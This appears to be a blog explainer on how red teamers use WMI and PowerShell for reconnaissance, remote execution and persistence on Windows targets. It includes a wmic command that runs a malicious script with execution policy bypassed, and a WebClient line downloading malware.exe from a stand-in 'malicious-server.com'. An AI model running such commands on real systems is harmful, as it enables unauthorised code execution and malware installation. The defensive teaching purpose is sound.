How Pentesters Leverage WMI in Penetration Testing

Windows Management Instrumentation

Windows Management Instrumentation (WMI) is a powerful technology in the Windows operating system that provides administrators with the ability to manage and monitor Windows systems. In the hands of attackers, however, WMI can also be used to conduct malicious activity. In this blog, we will explore how red teamers, who simulate the actions of real-world attackers, and Pentesters can leverage WMI in penetration testing exercises.

Technical Details about WMI

In order to use WMI in a penetration testing exercise, red teamers typically use a tool called WMIC (Windows Management Instrumentation Command-line) to interact with the WMI service on the target system. WMIC provides a command-line interface that allows red teamers to execute WMI queries, execute code remotely, and create WMI event consumers.

Red teamers can use WMIC to collect information about the target system by executing WMI queries. For example, a red teamer could use the following WMIC query to retrieve information about the target system's hardware:

wmic /node:TARGET_SYSTEM computerSystem get Model,Manufacturer,TotalPhysicalMemory

Red teamers can also use WMIC to execute code remotely on the target system. For example, a red teamer could use the following WMIC command to execute a malicious script on the target system:

wmic /node:TARGET_SYSTEM process call create "powershell.exe -executionpolicy bypass -File MALICIOUS_SCRIPT.ps1"

Exploitation Use-cases

Persistence: One way red teamers can leverage WMI is by using it to establish persistence on a system. This involves creating a WMI event consumer that launches a malicious script every time a specified event occurs. For example, a red teamer could create a WMI event consumer that launches a malicious script every time the system is restarted, ensuring that the malicious code is always executed on the system.
Data Collection: Another way red teamers can leverage WMI is by using it to collect information about the target system. This can include information about the system's hardware and software, as well as information about running processes and network connections. This information can be used to further the red teamer's attack and gain a deeper understanding of the target system.
Remote Execution: Red teamers can also leverage WMI to execute code remotely on a target system. This can be used to install malware or to execute malicious scripts on the target system, allowing the red teamer to gain a foothold and further their attack.

PowerShell Commands

1. Get-WmiObject: An attacker could use this command to gather information about the operating system and installed software on a target system, which could be used to identify potential vulnerabilities that could be exploited.

Example: Get-WmiObject -Class Win32_OperatingSystem

2. Invoke-Command: An attacker could use this command to execute commands on a remote system, such as copying files or installing malware.

Example: Invoke-Command -ComputerName TargetSystem -ScriptBlock {Get-Process}

3. New-Object: An attacker could use this command to create a new instance of a .NET class, such as the System.Net.WebClient class, which could be used to download malicious payloads or execute arbitrary code on the target system.

Example: $webclient = New-Object System.Net.WebClient; $webclient.DownloadFile("http://malicious-server.com/malware.exe","C:\malware.exe")

4. Get-Process: An attacker could use this command to gather information about running processes on a system, which could be used to identify potential targets for exploitation.

Example: Get-Process | Select-Object Name,Id,Path

Conclusion

In conclusion, red teamers can leverage WMI in penetration testing exercises to establish persistence, collect information, and execute code remotely on the target system. By understanding how WMI works and how red teamers can use it, organizations can better prepare themselves to defend against real-world attacks and improve their overall security posture.